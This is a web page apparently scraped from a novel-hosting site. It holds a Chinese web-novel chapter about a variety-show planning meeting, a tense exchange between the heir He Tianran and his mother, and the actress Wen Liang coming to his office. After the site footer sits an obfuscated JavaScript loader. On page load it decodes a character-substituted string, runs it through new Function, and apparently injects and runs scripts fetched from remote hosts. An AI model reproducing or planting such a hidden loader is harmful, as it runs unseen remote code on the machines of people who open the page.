首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第一百五十七章 Save my life(五)

下载APP,无广告、完整阅读
    猜忌产生隔阂,秘密拉近距离,欲望如影随形,惟有相同的利益,能让上一秒还各怀鬼胎的彼此,狼狈为奸。
    虽然贺天然还不清楚余闹秋具体在谋划些什么,但这件事其实也不需要想得太透彻,因为现在这个「贺天然」,太懂得自己是个什么样的人,或者,他太明白自己这个名字之后所代表着的某种含义……
    凡是你有所求,凡是我能给予,那么在港城这块地界上的年轻一辈当中,就再找不到能比他贺天然更合适的交易对象了。
    而他想给余闹秋传递的信息,只有这个,就足够了。
    思虑之间,男人已经再次回到了会议室的门口,他单手推开门,迈步而入。
    本是漂荡着争议与讨论之声的空间里顿时安静了下来,众人看着这个上一刻还休闲青春的年轻男人此刻已换上一身笔挺正装,清净缄默的眉目中,原先那种年轻人刻意伪装出的沉稳,已被当下一种独属于成熟男人的冷漠与疏离所取代。
    “你们继续。”
    示意的话语说出口,但却无人吱声,因为现在每个人心里都万分清楚,任何他们讨论总结出的方法,倘若没有这个男人首肯,那么就算说破天了都没用。
    所有人的目光都跟随着男人移动的身影而缓缓落定,而他那脖颈处象征着暧昧的紫斑,着实显眼。
    来了个客人,离开了半小时,回来时换了身衣服,脖子上多了颗“草莓”,联想到贺天然匆匆离去时的模样,种种细节交织一起,难免不令这群人浮想联翩。
    这处吻痕,自然不是什么贺天然魅力爆棚之下,惹得余闹秋意乱情迷后的难以自持。
    大家都是聪明人,余闹秋没可能让贺天然平白无故的调戏后还送来一份“礼物”。
    现在整个会议室的高管们,都知道了这位贺少爷与方才那位前来拜访的心理医生有过亲密举动了,甚至连白闻玉都瞧了出来,假以时日,余家千金的身份也会浮出水面,这就是余闹秋口中所说的“很重要”与“真心话”,以及两人共同表露出欲望后的一份“投名状”。
    贺天然当然可以对他的欲望抱有无限幻想,但想要实现这份欲望,拉人入伙,那么在他的那份幻想里,就不是所有人都可以。
    所以这处吻痕,也是余闹秋变相对贺天然施加的考验。
    白闻玉狠狠地瞪了儿子一眼,贺天然视若无睹,像是丝毫没有察觉出自己身上发生的变化,他见众人望向他,平静开启话题道:
    “你们聊到哪儿了?”
    “啊……刚才聊到了,从第四期开始要加入的嘉宾。”
    项葵反应过来,视线从贺天然的脸上撤回,慌忙摆弄着手边的会议记录,答道。
    “我走之前,不是还在讨论成员们化学反应不足的问题么?你们怎么解决的?跳过了?”
    “就是如今嘉宾团队里的化学反应不足,所以才寄期望于新成员的加入,给节目组带来新的变化,毕竟新嘉宾还没参加到节目中,提前将一些情况跟需求告诉他们,录制时也好把控。”
    贺天然点点头,追问道:
    “这确实是一个办法,不过之后的艺人有好些都是飞行嘉宾,录个一期两期就走人了,即便再有效果,往后的节目怎么办?”
    “考虑过了。”
    一旁的白闻玉提纲挈领:
    “今后几期节目,项导儿这边会写一些更为详细的剧本交给我们,别的嘉宾不好说,但在座公司的这几位都会全力配合,而且下期我会把玲耶找来,如果效果好,她就常驻,如果她跟这个项目相性不搭,那就当一期飞行嘉宾,拉拉人气也不错。”
    好在现在的贺天然继承了「少年」人格的全部记忆,在这半个月里来也大致了解了一番公司的情况与业务,他知道拜玲耶现在是公司最红的艺人,唯一的一线,只不过最近在谈续约的事,档期都安排的很谨慎,这也是最初公司综艺没有考虑她的原因。
    由此可见,现在白闻玉把拜玲耶叫来,那就真是属于救火了。
    “不过从节目机制上来说,还差一位男嘉宾。”
    项葵接过话茬,综艺最后环节都是男女相互配对的,所以多出来一个女性就必须有个男性,多出个单数最后剩下的人就会很尴尬,毕竟节目一开始是以打造“恋综”为目的,即便现在挂着羊头卖起了狗肉,但一些机制还在,不弄点这种环节擦边,那这节目现在也不会火了。
    贺天然问:“有人选吗?”
    项葵为难道:“玲耶老师是才确定下来的,往后几期飞行嘉宾也早就确认了档期,不管是往后调整还是现在找人都比较悬,而且这周我们就要开始往后几期的拍摄工作了,不能再拖了……”
    贺天然的手指点了点桌面,“那这件事在会议结束之后就赶紧联系新的艺人吧。现在我还是比较好奇,你们说要改剧本,演员会全力配合,那么究竟要改哪些地方呢?”
    “我们想……”
    “我想听艺人说,你们把节目策划得再好,但成功与否还是要靠他们配合。”
    贺天然撇了撇手,打断了项葵,他的目光扫向坐在一旁的三位艺人,两位公司的年轻小朋友如坐针毡,唯有最尾上离贺天然最远的温凉目光遥遥射过来,她凝视着贺天然鼻梁上架着金丝眼镜,眼含愠怒,可内心却复杂万端。
    见到男人后,在座诸位浮现在脑子里的那档子事儿,温凉自然也看到了,想到了,但她还是不愿意相信贺天然会私底下背叛曹艾青,做出一些不正当的行为来。
    说起来可能荒谬,但温凉对此,的确是最有发言权的那个。
    “我……肯定全力配合公司,没有意见。”
    男艺人罗雀率先表态,他是在冲浪线平台起来后靠搞笑本领火起来的网红,后来被挖掘签进了公司,本自带谐星光环的他与苏小桐组成CP也不用太担心绯闻的问题。
    “我只是希望剧本的尺度不要太大就好……游戏方面不要有太多亲密接触什么的……”
    作为女艺人的苏小桐有点担忧,她先前参加了一档综艺选秀,获得了不错的成绩与数量可观的粉丝,不过她本身唱跳能力很一般,取得的成绩都是靠颜值在顶,现在公司给她安排的路线就是综艺跟演戏,算是继温凉与拜玲耶之后,公司又一力推的的新人。
    “是的是的,我也想说,我觉得我国综艺尺度最大的节目就是那档经年不衰的《快乐向前冲》了,我也就只能接受到那种程度了!拜托公司考虑考虑我们身为艺人必要的偶像包袱吧!”
    罗雀忽如其来的一句插科打诨,让众人乐不可支,但大家都知道他说的没错,那档闯关节目最大的看点就是女性穿着清凉,然后闯关落水的画面,而这种尺度,就是如今国内综艺尺度的标杆,所以节目组再如何改剧本,都不会触及到某些低俗的红线。
    苏小桐的担心被一句幽默所化解,而就在众人其乐融融时,一句话宛如一盆冷水,让气氛顿时剑拔弩张了起来:
    “综艺节目的剧本要具体要哪一步呢?是精准到一句台词?还是必须跟某个人组成CP搏眼球?前两期不是都被人诟病成工业糖精了吗,再这样搞就会更好?
    而且项姐,你一开始跟我聊的时候可不是这样的啊,你说你的综艺节目只会要给艺人设定目标与情景,具体过程可以自由发挥,你们只是引导,这个我非常认可,可现在怎么又说要改剧本呢?如果真这样,我为什么不直接接部傻白甜的剧来演呢?”
    温凉直指要害的发言使得方才众人讨论出的方案像个笑话,一边的李岚听得心惊胆战,以前小公司,温凉对自己这个老板这样就算了,现在整个经纪公司已经被山海全资收购,尽管知道这姑娘的火爆脾性,但她现在是如何能走到这一步的,她不清楚吗?
    她还没有红到能跟老板甩脸子的地步啊!
    谁给她的底气?难道是凭借私底下跟贺天然的关系好,以为自己受到了器重?
    李岚不敢想如果公司放弃了温凉,她所面对的境遇将会是如何,庆幸的是白闻玉好像对此没有意见,而是一脸平静,沉默以对。
    艺人有艺人的诉求,公司有公司的指标,开会不是过家家,除开贺天然开场那句幼稚无比的弃用说法,像目前这种情况,白闻玉不会插手。
    所以能在这种时候站出来主事的,就只有贺天然。
    男人见了温凉的反应,即便有万千由头发难,可心里无论如何都按捺不住,说出这么一句:
    “温小姐,你是个很优秀的演员,这一点……我深有体会,所以,无论是演戏也好,上综艺也好,乃至于……跟人组CP,假意谈恋爱,我相信你都能很完美的胜任,而且修改后的剧本应该不会强迫你一定要如何,除非你自己乐意。”
    众人闻言,这话听上去感觉像是贺导明面在夸赞温凉的业务能力,但实则话里有话,借机敲打……
    温凉微微侧目,她忽然有些看不懂眼前这个贺天然了,前一秒声称要弃用自己,后一秒又说相信自己演技,让自己跟随剧本来,他到底想表达什么呢?
    温凉显然没去想到贺天然只是借题发挥,用综艺代指当初的恶作剧来讽刺她,因为两人现在的信息代沟太大了,贺天然的主人格根本就不在乎这件从未发生的事,以至于温凉就不会往这方面去想。
    这就导致此刻贺天然的揶揄,似乎并没有起到激怒温凉的作用,反而使姑娘冷静下来,尝试着摸清贺天然的思路,她问道:
    “那……剧本的细节,要如何修改呢?我想听听贺导你的意见。”
    本想利用温凉有话直说的性格,挑起她在众人面前的失态,可对方好像听不懂自己在表达什么,反而还征询自己意见……
    这个女人是在装糊涂么?
    贺天然心中暗自腹诽,显然少年人格残留在的那份报复欲,依旧影响着这具成熟的人格,但相比起少年来,这具人格更清醒,更有耐心,也更有手段。
    众人只见他沉思了片刻,说道:
    “我觉得这次的剧本,我们应该具有主动性一些,因为播出的两集节目与之后的待播内容,都给到了嘉宾很大的选择空间,大家都可以凭借自己的心意选择搭档,可事实证明这种情景下产生的化学反应并不明显,而网友的一些视角是很清晰的,艺人嘉宾的选择,还没有他们磕的邪道CP有话题度,所以我们可以尝试一种一开始就固定CP,固定人设的剧本,情节上也可以劲爆一些,诸如……”
    贺天然故意一顿,望着温凉,摊了摊手:
    “诸如‘强制爱’什么的,这听上去就很上头不是吗?假如现在给温凉小姐设计了一场恶作剧,她是主谋,任务是将一个本不喜欢她的人牢牢玩弄于鼓掌之中,而在得到他人的心后,又死死践踏,飘然离去。”
    这个暗示算是很明显了,温凉的脸色明显一变,若有所思,而贺天然却忽略了这个会议里其他人的参与度,所以这话一说,别人也来了兴趣。
    一直对会议认真纪要的谢妍妍打断道:
    “天然哥,这不叫‘强制爱’,强制爱是真爱,是得到了也不会离开的那种,你说的这个有点渣了,强制爱的看点就是被爱者的反抗和强制者为了得到爱,而做出的种种疯狂举动。”
    项葵也加入到了讨论,接话道:
    “对对对,其实贺导你要的那种反转我明白,但我想身份转变一下,在节目最后来一个反转,被强制者可以假意接受强制者的爱意,但节目组会安排一个选择,如果最后被强制者拒绝了强制者,那么他就完成了节目组的任务,强制者将接受惩罚……”
    苏小桐不禁插话:
    “有没有一种可能,那个被强制的人最后还是选择接受强制人的爱意呢?”
    “哇噢~”
    会议室里响起女性的一片低呼,就连白闻玉都忍俊不禁地笑了一下。
    贺天然揉了揉眉心,本来只是想说给温凉听的潜台词,现在却被一群人拿在台面上正儿八经地议论起来,而且看样子他们还乐此不疲,找了到了灵感。
    已然兴起的项葵问着沉默的温凉,“那温凉老师你觉得呢?”
    “我无所谓,这剧情是安排给我的?”
    温凉还在思考贺天然的这番用意,随口答道。
    “这是一种形式,我们应该会放在下期剧本里,每位嘉宾都会有,至于是强制还是被强制,剧情怎样,我们内部还要再讨论一下。”
    “那你们给我安排的对象,我暂时也不得而知咯?”
    “那是肯定的,毕竟……综艺还是需要一些‘即兴’元素的。”
    说着说着,想到还有一位男嘉宾没有定下,在娱乐圈浸淫多年的项葵望向贺天然若有所思,忍不住提议道:
    “要不……贺导……您来试试?”
    贺天然一愣:“试试?试什么?”
    “当节目嘉宾啊!”
    “开什么玩笑……”
    他脸色一凝,但在场几位负责人都对这个提议饶有兴趣,为首的项葵更是大力鼓吹:
    “没开玩笑,是真的!这节目贺导您真能上,一来你本来就是主策划兼导演,知道咱们节目最需要什么效果,何况你跟咱们公司的艺人都很熟,没有新人嘉宾初来的隔阂,所以鲶鱼效应也好,推波助澜也罢,效果肯定要比别的嘉宾强;二来,您从网上的话题度来讲,本来就不输一些一二线的艺人,无非就是你久居幕后,曝光量差了点,但当个嘉宾绰绰有余,而且贺导,这短时间里能找到咖位适合,配合度高的男嘉宾,我能想到的就只有您了~救火呀~”
    网上其实拥有讨论度与曝光量的富二代不算少,诸如早期某位以行为做派出名的王姓公子,还是一位以高学历高智商出名,最后娶了一位超模后频繁上综艺的赌王后代何姓公子。
    贺天然与以上两位公子的区别更多是切切实实身处在影视的行业,导演才华也得到认可,真要找个“导演+富二代”的身份对标,他就更像导演麦浚龙。
    如果不比作品与后者相较,贺天然就更年轻、更英俊,且更具有话题度。
    望着众人眼中对自己的殷殷期盼,贺天然为难地摆了摆手。
    “再说吧。”
    话题就此打住,之后会议又持续了一个半点,目送着大家陆续退场,贺天然回到了自己的办公室,从工作中抽离的他,有太多事情还要思考,而且他知道……
    会后,还有人会来找他。
    果然,不过五分钟,白闻玉便推门而入,母亲一眼就看见了地上还没来得及收拾的酒杯碎片与接近干涸的红色酒渍,她扭头望向端坐在办公桌后的儿子。
    “闹闹走了?”
    “走了。”
    “今天你为什么约她过来?”
    “做一些心理咨询而已。”
    贺天然的淡漠,让白闻玉的眉头微微蹙起,“什么心理咨询比工作还重要,让你当场放着不管?”
    儿子假意不觉母亲话中的含沙射影,故作姿态道:
    “不重要吗?我觉得挺重要的啊,要是早点知道心理服务这么有效,我应该在你跟老爸分开的那会就开始接受治疗了。”
    这个人格的贺天然,比起少年人格尚存对亲情的依赖与渴望,他对此的态度就显得无比冷漠,一如……父母对他。
    白闻玉喉头一窒,顿了顿,警告道:
    “天然,你把余闹秋叫来最好是真的在做心理咨询,你可别步了你爸的后尘。”
    贺天然不以为意,反而还洋洋自得道:
    “我爸?我爸不是我的榜样么?事业成功,欢场得意,你那么讨厌他,不是还没跟他割舍下共同的财产么?这是你们教我的呀,能用利益绑定的事,对我们这样的人来说,就不算什么事儿,难道不是么?”
    白闻玉的怒意肉眼可见窜了上来,女人快走几步上前,一个巴掌高高扬起,重重拍向这个敢忤逆自己的儿子。
    谁知,巴掌落在半空突然就被贺天然的手掌死死钳住。
    “白女士,公司不是让你教训儿子的地方,想要教训儿子,也请你们做家长的以身作则一回吧,光是打骂威胁,很没有说服力呀。”
    贺天然一把甩过母亲的手,白闻玉愣在当场。
    刚回国的时候,她觉得儿子越来越像贺盼山,但这都不算什么,因为他有曹艾青,起码在感情上,贺天然不会成为他父亲的影子。
    然而此刻,白闻玉觉得贺天然越看越陌生,也越看越熟悉,就像是她与贺盼山的所有矛盾与缺陷,所结合出的……怪胎。
    “我会去找余闹秋聊的。”
    “你随意咯,不过她的心理咨询真的很专业,妈,我也推荐你尝试一次。”
    贺天然轻松回应着,白闻玉转过身走到了门口,最后像是某种念想让她回过头,深深看了一眼儿子的陌生脸庞,留下最后一句:
    “天然,你怎么看待我跟你父亲的事我不管,你要学你爸,我也不管,但今天的事儿,你务必要给艾青一个交待,我不会让这孩子成为第二个我,更不会帮你隐瞒。”
    说完,白闻玉摔门而去。
    贺天然坐在椅子上,像是一座万年不变的冰山,久久不语,而冰山之下,有太多复杂翻涌的情绪,需要等他慢慢咀嚼。
    只不过,还没等他沉下心思考什么,办公室的门再一次被敲响。
    “贺天然,我能进来吗?”
    门外,传来温凉的嗓音。
    “进~”
    男人重新收拾好表情,一道靓丽身影推门而入,温凉重新合上了门,同时也注意到了地上的一片狼藉,一向是无所畏惧,热烈直白的她,此时却面露出一种复杂神色。
    其实贺天然也很奇怪,按照温凉的性格做派,刚才会议上自己宛如明示一般的剧本提议,姑娘应该反应很激烈才对,而她并没有,甚至默认般地接受了……
    这种反常的现象,真的不像是他认识的那个温凉……
    而且,贺天然预料这次会议后,温凉会来找自己,或者是大骂为何旧事重提,或者是彻底跟他撕破脸,但无论是哪一种,事后的处理,都能达到贺天然内在人格想要的“报复”效果,可他没想到的是,对方上来的第一句话,竟是带着一种难以启齿的赧然,这个明媚的姑娘说道:
    “贺天然,我知道为什么今天会议你会这么反常……你……没必要这样。”
    “你……知道?”
    贺天然不太确定,温凉直视着他的目光,然后点点头,似乎把一切都看透了。
    “我知道。”
    温凉的回答把贺天然都搞不会了,他仔细回想起这半个月来的少年经历,而其中并没有什么与温凉相关的记忆,能让对方说出这种话来……
    “那你说说看,为什么我会这么做,为什么要刁难你。”
    对于贺天然佯作平静的反问,温凉脸上竟是一红,她瞪大双眼,难为情道:
    “你……我……你一定要让我说出口吗?我只是想告诉你,你没必要为我这么做,上这个节目是我心甘情愿的!”
    贺天然一时语塞,温凉这是跟自己打什么哑谜呢!我为你做什么了?我想报复你我为你做什么了!你脸红个什么劲儿呀!
    “温凉……你……”
    “笃笃笃……”
    男人正欲试探,好巧不巧门外又是传来一道敲门声,随之而来的是贺元冲的声响。
    “哥,聊几句啊。”
    屋内的两人宛若是惊弓之鸟,温凉一个激灵,目光躲闪,嘴上说着:
    “那我先走了……你跟你弟弟聊吧。”
    还没弄清对方想法的贺天然哪能让她这么轻易离开?他突然起身,一把抓住了温凉将离去的手,冷冷道:
    “我们之间话还没说完,你不能走!”
    温凉下意识压低了嗓音,急道:“我……你……那你要我怎么样?”
    “躲起来!”
    “我躲哪儿呀!”
    “哥,你在吗?”
    门外,贺元冲催促的声音响起,贺天然与温凉对视一眼,然后同时向周围扫视了一圈,但可惜,窗明几净的办公室并没有什么可供藏身的好地点,就连唯一一个衣帽间,都还是开放式的。
    贺天然心念电转,放下温凉的柔荑,重新坐下,然后双脚一蹬,办公椅的滑轮骤然后退出半米。
    男人的目光看向办公桌下的隐蔽空间,然后抬起头看向温凉,用着一种带着命令的口吻吩咐道:
    “躲进去。”

一秒记住【笔趣阁】
biquge120.net,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();